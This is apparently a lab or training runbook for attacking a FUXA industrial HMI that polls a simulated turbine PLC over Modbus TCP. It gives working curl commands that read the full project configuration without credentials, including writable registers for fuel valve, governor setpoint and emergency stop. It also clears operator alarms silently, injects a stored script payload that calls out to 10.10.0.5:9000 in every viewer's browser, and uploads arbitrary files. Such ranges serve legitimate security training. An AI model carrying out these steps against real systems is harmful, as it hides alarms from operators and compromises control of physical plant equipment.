Runbook: uupl-hmi¶
Entry point¶
This runbook picks up from the engineering workstation. You have a shell there, either via SSH or via the ProxyJump path through the bastion.
PS C:\Users\engineer>
The HMI has no SSH, no login shell, and no exposed management service. Everything goes through HTTP on port 1881.
Passive recon¶
Probe 10.10.3.10:1881 from the engineering workstation.
PS C:\Users\engineer> curl -s http://10.10.3.10:1881/api/project
{"devices":{"hex-turbine-plc":{"id":"hex-turbine-plc","name":"Hex Turbine PLC","type":"ModbusTCP","enabled":true,"property":{"address":"10.10.3.21","port":"502","slaveid":"1"},"tags":{"turbine_rpm":{"id":"turbine_rpm","name":"Turbine RPM","type":"UInt16","memaddress":"300000","address":"1"},"turbine_temperature_c":{"id":"turbine_temperature_c","name":"Turbine Temperature (C)","type":"UInt16","memaddress":"300000","address":"2"},"turbine_pressure_bar":{"id":"turbine_pressure_bar","name":"Turbine Pressure (bar)","type":"UInt16","memaddress":"300000","address":"3"},"line_voltage_a_v":{"id":"line_voltage_a_v","name":"Line Voltage A (V)","type":"UInt16","memaddress":"300000","address":"4"},"line_current_a_a":{"id":"line_current_a_a","name":"Line Current A (A)","type":"UInt16","memaddress":"300000","address":"5"},"governor_setpoint_rpm":{"id":"governor_setpoint_rpm","name":"Governor Setpoint RPM","type":"UInt16","memaddress":"400000","address":"1"},"fuel_valve_command":{"id":"fuel_valve_command","name":"Fuel Valve Command","type":"UInt16","memaddress":"400000","address":"2"},"cooling_pump_speed":{"id":"cooling_pump_speed","name":"Cooling Pump Speed","type":"UInt16","memaddress":"400000","address":"3"},"overcurrent_threshold":{"id":"overcurrent_threshold","name":"Overcurrent Threshold (A)","type":"UInt16","memaddress":"400000","address":"4"},"emergency_stop":{"id":"emergency_stop","name":"Emergency Stop","type":"Bool","memaddress":"0","address":"1"}},"polling":3000}},"hmi":{"views":[]},"version":"1.00","server":{"id":"0","name":"UUPL Control HMI","type":"FuxaServer","property":{}}}
FUXA serves the full project configuration over GET /api/project without any
credentials. The response is JSON. Note what the top-level keys are before reading
the contents in detail.
To pretty-print it:
PS C:\Users\engineer> curl -s http://10.10.3.10:1881/api/project | python -m json.tool
{
"devices": {
"hex-turbine-plc": {
"id": "hex-turbine-plc",
"name": "Hex Turbine PLC",
"type": "ModbusTCP",
"enabled": true,
"property": {
"address": "10.10.3.21",
"port": "502",
"slaveid": "1"
},
"tags": {
"turbine_rpm": {
"id": "turbine_rpm",
"name": "Turbine RPM",
"type": "UInt16",
"memaddress": "300000",
"address": "1"
},
"turbine_temperature_c": {
"id": "turbine_temperature_c",
"name": "Turbine Temperature (C)",
"type": "UInt16",
"memaddress": "300000",
"address": "2"
},
"turbine_pressure_bar": {
"id": "turbine_pressure_bar",
"name": "Turbine Pressure (bar)",
"type": "UInt16",
"memaddress": "300000",
"address": "3"
},
"line_voltage_a_v": {
"id": "line_voltage_a_v",
"name": "Line Voltage A (V)",
"type": "UInt16",
"memaddress": "300000",
"address": "4"
},
"line_current_a_a": {
"id": "line_current_a_a",
"name": "Line Current A (A)",
"type": "UInt16",
"memaddress": "300000",
"address": "5"
},
"governor_setpoint_rpm": {
"id": "governor_setpoint_rpm",
"name": "Governor Setpoint RPM",
"type": "UInt16",
"memaddress": "400000",
"address": "1"
},
"fuel_valve_command": {
"id": "fuel_valve_command",
"name": "Fuel Valve Command",
"type": "UInt16",
"memaddress": "400000",
"address": "2"
},
"cooling_pump_speed": {
"id": "cooling_pump_speed",
"name": "Cooling Pump Speed",
"type": "UInt16",
"memaddress": "400000",
"address": "3"
},
"overcurrent_threshold": {
"id": "overcurrent_threshold",
"name": "Overcurrent Threshold (A)",
"type": "UInt16",
"memaddress": "400000",
"address": "4"
},
"emergency_stop": {
"id": "emergency_stop",
"name": "Emergency Stop",
"type": "Bool",
"memaddress": "0",
"address": "1"
}
},
"polling": 3000
}
},
"hmi": {
"views": []
},
"version": "1.00",
"server": {
"id": "0",
"name": "UUPL Control HMI",
"type": "FuxaServer",
"property": {}
}
}
The response includes version, server, devices, and hmi.
Reading the project¶
The server object names the installation. The devices object is what matters
for the process model.
Find the device entry:
"hex-turbine-plc": {
"type": "ModbusTCP",
"property": {
"address": "10.10.3.21",
"port": "502",
"slaveid": "1"
},
"tags": { ... }
}
The HMI is configured to poll the turbine PLC at 10.10.3.21:502 over Modbus TCP,
slave ID 1. The tags block is the process model: every variable the HMI tracks,
with its register address and datatype. Read through it.
Tag format for each entry:
"turbine_rpm": {
"type": "UInt16",
"memaddress": "300000",
"address": "1"
}
memaddress encodes the Modbus function code area: 300000 is input registers
(FC4), 400000 is holding registers (FC3), 0 is coils (FC1). address is 1-based
within that area, so turbine_rpm at FC4 address 1 corresponds to IR[0].
Work through each tag and note what process variable it represents and whether it is read-only (input registers, coils flagged as status) or writable (holding registers).
Alarm state¶
The alarm endpoints are readable without credentials:
PS C:\Users\engineer> curl -s http://10.10.3.10:1881/api/alarms
[]
PS C:\Users\engineer> curl -s http://10.10.3.10:1881/api/alarmsHistory
[]
Both return (empty) JSON arrays.
The acknowledgement endpoint also accepts requests without credentials:
PS C:\Users\engineer> curl -s -o /dev/null -w "%{http_code}" -X POST http://10.10.3.10:1881/api/alarmack -H "Content-Type: application/json" -d '{"params":{}}'
200
The 200 lands without any authentication. In a deployment with active alarms,
this clears the operator alarm display without leaving a trace in FUXA’s logs.
Modifying the project¶
POST /api/project accepts the same JSON structure as the GET response, without
any credentials. Save the current project first:
PS C:\Users\engineer> curl -s http://10.10.3.10:1881/api/project > project.json
The response is in project.json in the current directory.
Modify the hmi.views array to inject a script tag into every browser that opens
the project view:
PS C:\Users\engineer> python -c 'import json; p=json.load(open("project.json")); p["hmi"]["views"]=[{"name":"main","items":[{"id":"x","type":"html","property":{"html":"<script>fetch(\"http://10.10.0.5:9000/\")</script>"}}]}]; open("project.json","w").write(json.dumps(p))'
The write() call returns a byte count, but it is not printed. The file now holds the modified project with the view injected.
POST the modified file:
PS C:\Users\engineer> curl -s -X POST http://10.10.3.10:1881/api/project -H "Content-Type: application/json" -d @project.json
The blank line is an empty response body from FUXA. No error text means the update was accepted.
Verify the write landed:
PS C:\Users\engineer> curl -s http://10.10.3.10:1881/api/project | python -m json.tool
{
"devices": {
"hex-turbine-plc": {
"id": "hex-turbine-plc",
"name": "Hex Turbine PLC",
"type": "ModbusTCP",
"enabled": true,
"property": {
"address": "10.10.3.21",
"port": "502",
"slaveid": "1"
},
"tags": {
"turbine_rpm": {
"id": "turbine_rpm",
"name": "Turbine RPM",
"type": "UInt16",
"memaddress": "300000",
"address": "1"
},
"turbine_temperature_c": {
"id": "turbine_temperature_c",
"name": "Turbine Temperature (C)",
"type": "UInt16",
"memaddress": "300000",
"address": "2"
},
"turbine_pressure_bar": {
"id": "turbine_pressure_bar",
"name": "Turbine Pressure (bar)",
"type": "UInt16",
"memaddress": "300000",
"address": "3"
},
"line_voltage_a_v": {
"id": "line_voltage_a_v",
"name": "Line Voltage A (V)",
"type": "UInt16",
"memaddress": "300000",
"address": "4"
},
"line_current_a_a": {
"id": "line_current_a_a",
"name": "Line Current A (A)",
"type": "UInt16",
"memaddress": "300000",
"address": "5"
},
"line_voltage_b_v": {
"id": "line_voltage_b_v",
"name": "Line Voltage B (V)",
"type": "UInt16",
"memaddress": "300000",
"address": "6"
},
"line_current_b_a": {
"id": "line_current_b_a",
"name": "Line Current B (A)",
"type": "UInt16",
"memaddress": "300000",
"address": "7"
},
"frequency_hz_x10": {
"id": "frequency_hz_x10",
"name": "Frequency Hz x10",
"type": "UInt16",
"memaddress": "300000",
"address": "8"
},
"power_kw": {
"id": "power_kw",
"name": "Power (kW)",
"type": "UInt16",
"memaddress": "300000",
"address": "9"
},
"governor_setpoint_rpm": {
"id": "governor_setpoint_rpm",
"name": "Governor Setpoint RPM",
"type": "UInt16",
"memaddress": "400000",
"address": "1"
},
"fuel_valve_command": {
"id": "fuel_valve_command",
"name": "Fuel Valve Command",
"type": "UInt16",
"memaddress": "400000",
"address": "2"
},
"cooling_pump_speed": {
"id": "cooling_pump_speed",
"name": "Cooling Pump Speed",
"type": "UInt16",
"memaddress": "400000",
"address": "3"
},
"overcurrent_threshold": {
"id": "overcurrent_threshold",
"name": "Overcurrent Threshold (A)",
"type": "UInt16",
"memaddress": "400000",
"address": "4"
},
"emergency_stop": {
"id": "emergency_stop",
"name": "Emergency Stop",
"type": "Bool",
"memaddress": "0",
"address": "1"
}
},
"polling": 3000
}
},
"hmi": {
"views": [
{
"name": "main",
"items": [
{
"id": "x",
"type": "html",
"property": {
"html": "<script>fetch(\"http://10.10.0.5:9000/\")</script>"
}
}
]
}
]
},
"version": "1.00",
"server": {
"id": "0",
"name": "UUPL Control HMI",
"type": "FuxaServer",
"property": {}
}
}
FUXA applies the project immediately. Any browser opening the HMI view executes the injected payload.
File upload¶
The /api/upload endpoint accepts files without authentication. It expects a JSON
body with name, data, and type fields:
PS C:\Users\engineer> curl -s -X POST http://10.10.3.10:1881/api/upload -H "Content-Type: application/json" -d "{\"name\":\"planted.txt\",\"data\":\"content here\",\"type\":\"txt\"}"
{"location":"/resources/planted.txt"}
Files land in the FUXA resources directory and are served back at the returned path. The upload requires no credentials.